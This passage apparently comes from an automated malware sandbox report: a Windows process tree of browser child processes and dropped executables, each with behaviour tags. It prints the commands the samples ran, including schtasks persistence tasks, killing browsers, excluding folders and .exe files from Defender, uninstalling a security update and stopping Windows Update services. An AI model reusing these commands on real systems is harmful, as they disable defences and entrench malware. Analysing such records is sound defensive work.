        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1448,i,10995569389446648668,12752449992738950348,524288 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:11
        10⤵
        System Time Discovery
        
        PID:3876
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,12804382238761640643,5870893775597014084,524288 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:13
        10⤵
        
        PID:7744
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3204,i,137190357563909726,2716888153303829972,2097152 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
        10⤵
        
        PID:6112
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3208,i,12326471651263890746,6319786459820515507,2097152 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
        10⤵
        
        PID:592
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4172,i,9921285280140003214,12869546194298308546,2097152 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:9
        10⤵
        
        PID:7840
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4524,i,2038708491956598552,8520591552984056378,2097152 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
        10⤵
        
        PID:8156
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4776,i,17108296186011898220,18154925309154414273,524288 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:14
        10⤵
        
        PID:6604
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4972,i,16408303795968110166,17200438181081176361,524288 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:14
        10⤵
        
        PID:8084
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5344,i,12903544975522233760,11181218637257809053,524288 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
        10⤵
        
        PID:6756
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5648,i,2625095456946291264,6251364707220663752,524288 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:14
        10⤵
        
        PID:6076
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5792,i,520500545653446401,4224727358942549017,2097152 --field-trial-handle=1960,i,10040752859228934598,16767118804909340720,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:9
        10⤵
        
        PID:1272
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
        9⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:3512
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x2b8,0x7ffdd097c188,0x7ffdd097c194,0x7ffdd097c1a0
        10⤵
        
        PID:7932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,14142860836836841148,16210541879045272312,524288 --field-trial-handle=2140,i,17841855808446389752,7160704165100464334,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:11
        10⤵
        System Time Discovery
        
        PID:6420
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1604,i,14355426569815631292,4987095982525197751,262144 --field-trial-handle=2140,i,17841855808446389752,7160704165100464334,262144 --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:2
        10⤵
        
        PID:3184
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2264,i,3982331792202528607,17002004229252656258,524288 --field-trial-handle=2140,i,17841855808446389752,7160704165100464334,262144 --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:13
        10⤵
        
        PID:8008
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3372,i,17871677212187284783,15426234965498608309,2097152 --field-trial-handle=2140,i,17841855808446389752,7160704165100464334,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
        10⤵
        
        PID:7492
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3376,i,6015477213907860630,16390280462432358933,2097152 --field-trial-handle=2140,i,17841855808446389752,7160704165100464334,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:1
        10⤵
        
        PID:3420
        
        C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\xF5Dd7NnX7.exe"
        9⤵
        
        PID:6820
        
        C:\Users\Admin\AppData\Local\Temp\xF5Dd7NnX7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xF5Dd7NnX7.exe"
        10⤵
        
        PID:6420
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f
        11⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6596
        
        C:\Users\Admin\AppData\Roaming\Google\Chrome.exe
        
        "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe"
        11⤵
        
        PID:7936
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7172
        
        C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\a7aOSLTrGh.exe"
        9⤵
        
        PID:6480
        
        C:\Users\Admin\AppData\Local\Temp\a7aOSLTrGh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a7aOSLTrGh.exe"
        10⤵
        
        PID:7776
        
        C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\czEswvHzJz.exe"
        9⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\czEswvHzJz.exe
        
        "C:\Users\Admin\AppData\Local\Temp\czEswvHzJz.exe"
        10⤵
        
        PID:7668
        
        C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\HVPOz2eFYT.exe"
        9⤵
        
        PID:6232
        
        C:\Users\Admin\AppData\Local\Temp\HVPOz2eFYT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HVPOz2eFYT.exe"
        10⤵
        
        PID:4456
        
        C:\Users\Admin\AppData\Local\Temp\4lbulcM+FpSc3Wuk\bi2knJKRLbj2.exe
        
        C:\Users\Admin\AppData\Local\Temp\4lbulcM+FpSc3Wuk\bi2knJKRLbj2.exe 4456
        11⤵
        
        PID:7496
        
        C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\D7CPPH9wA8.exe"
        9⤵
        
        PID:7748
        
        C:\Users\Admin\AppData\Local\Temp\D7CPPH9wA8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\D7CPPH9wA8.exe"
        10⤵
        
        PID:7980
    - - C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\hJI8LdTnvv.exe"
        5⤵
        
        PID:5496
      - C:\Users\Admin\AppData\Local\Temp\hJI8LdTnvv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\hJI8LdTnvv.exe"
        6⤵
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:5796
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5964
    - - C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\5UxwoR0uaT.exe"
        5⤵
        
        PID:4440
      - C:\Users\Admin\AppData\Local\Temp\5UxwoR0uaT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5UxwoR0uaT.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\bidVtlVwiMfILcd7\cTV7tfa91qPB.exe
        
        C:\Users\Admin\AppData\Local\Temp\bidVtlVwiMfILcd7\cTV7tfa91qPB.exe 5916
        7⤵
        Drops startup file
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:3324
    - - C:\Windows\system32\cmd.exe
        
        cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\WECFVGLIV0.exe"
        5⤵
        
        PID:5592
      - C:\Users\Admin\AppData\Local\Temp\WECFVGLIV0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WECFVGLIV0.exe"
        6⤵
        
        PID:3180
- - C:\Users\Admin\AppData\Local\Temp\12455740101\3AqaBYF.exe
    "C:\Users\Admin\AppData\Local\Temp\12455740101\3AqaBYF.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:5336
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3132
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2388
- - C:\Users\Admin\AppData\Local\Temp\12499140101\8c86652ee3.exe
    "C:\Users\Admin\AppData\Local\Temp\12499140101\8c86652ee3.exe"
    3⤵
    - Executes dropped EXE
    PID:1064
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\12509030271\1nzijzw.msi" /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1324
- - C:\Users\Admin\AppData\Local\Temp\12509550101\c36f0a3f9c.exe
    "C:\Users\Admin\AppData\Local\Temp\12509550101\c36f0a3f9c.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:3688
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
      4⤵
      Drops Chrome extension
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:4332
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdd0bbc728,0x7ffdd0bbc734,0x7ffdd0bbc740
        5⤵
        
        PID:3200
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1648,i,1354182099627304527,752932323685281193,262144 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2040 /prefetch:2
        5⤵
        
        PID:6332
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1436,i,5227895991747552091,5840161487700668007,524288 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2184 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6340
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2364,i,14783141475899352019,4753556978498295738,524288 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2376 /prefetch:13
        5⤵
        
        PID:6404
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3280,i,1413464093955336239,8857467415949504150,2097152 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3336 /prefetch:1
        5⤵
        
        PID:6440
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3284,i,7592396717871701780,10715714117164011718,2097152 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3360 /prefetch:1
        5⤵
        
        PID:6448
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4204,i,4483032599133606355,12806819582675717071,2097152 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4212 /prefetch:9
        5⤵
        
        PID:6544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4456,i,16664577317844383472,12862069610680289636,2097152 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4564 /prefetch:1
        5⤵
        
        PID:6832
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4788,i,5957716603322210728,10798786422741823107,524288 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4680 /prefetch:14
        5⤵
        
        PID:6948
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4976,i,4913417124885656199,5401640420492198317,524288 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4996 /prefetch:14
        5⤵
        
        PID:6356
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4988,i,13018708183765723355,6457739561009129538,524288 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5132 /prefetch:14
        5⤵
        
        PID:6600
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5124,i,12904716188827589830,17400525324186677339,524288 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5108 /prefetch:14
        5⤵
        
        PID:7016
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5484,i,487097503585950837,14644319761224669013,2097152 --field-trial-handle=2044,i,6679600883025467029,180698312664219348,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5476 /prefetch:9
        5⤵
        
        PID:7284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      PID:8048
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffdcbfcc188,0x7ffdcbfcc194,0x7ffdcbfcc1a0
        5⤵
        
        PID:8080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1780,i,17238913856809498401,18407007777167741537,524288 --field-trial-handle=2708,i,8288138271956379264,12138888358967400138,262144 --variations-seed-version --mojo-platform-channel-handle=2792 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1612,i,15959074922698006271,16538960433966924528,262144 --field-trial-handle=2708,i,8288138271956379264,12138888358967400138,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:2
        5⤵
        
        PID:6828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2060,i,9853841179300519062,1453310619443332696,524288 --field-trial-handle=2708,i,8288138271956379264,12138888358967400138,262144 --variations-seed-version --mojo-platform-channel-handle=2800 /prefetch:13
        5⤵
        
        PID:6812
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,3177744567547616958,8425908448148697799,2097152 --field-trial-handle=2708,i,8288138271956379264,12138888358967400138,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
        5⤵
        
        PID:7124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,16829267749301338074,2580089069604946677,2097152 --field-trial-handle=2708,i,8288138271956379264,12138888358967400138,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
        5⤵
        
        PID:6412
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\1QFyK6WSuo.exe"
      4⤵
      PID:7060
    - - C:\Users\Admin\AppData\Local\Temp\1QFyK6WSuo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1QFyK6WSuo.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Drops file in Drivers directory
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:7596
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6852
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:7376
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:6172
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:4992
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:6912
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:6560
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:3396
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:6772
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        
        PID:6548
      - C:\Windows\system32\powercfg.exe
        
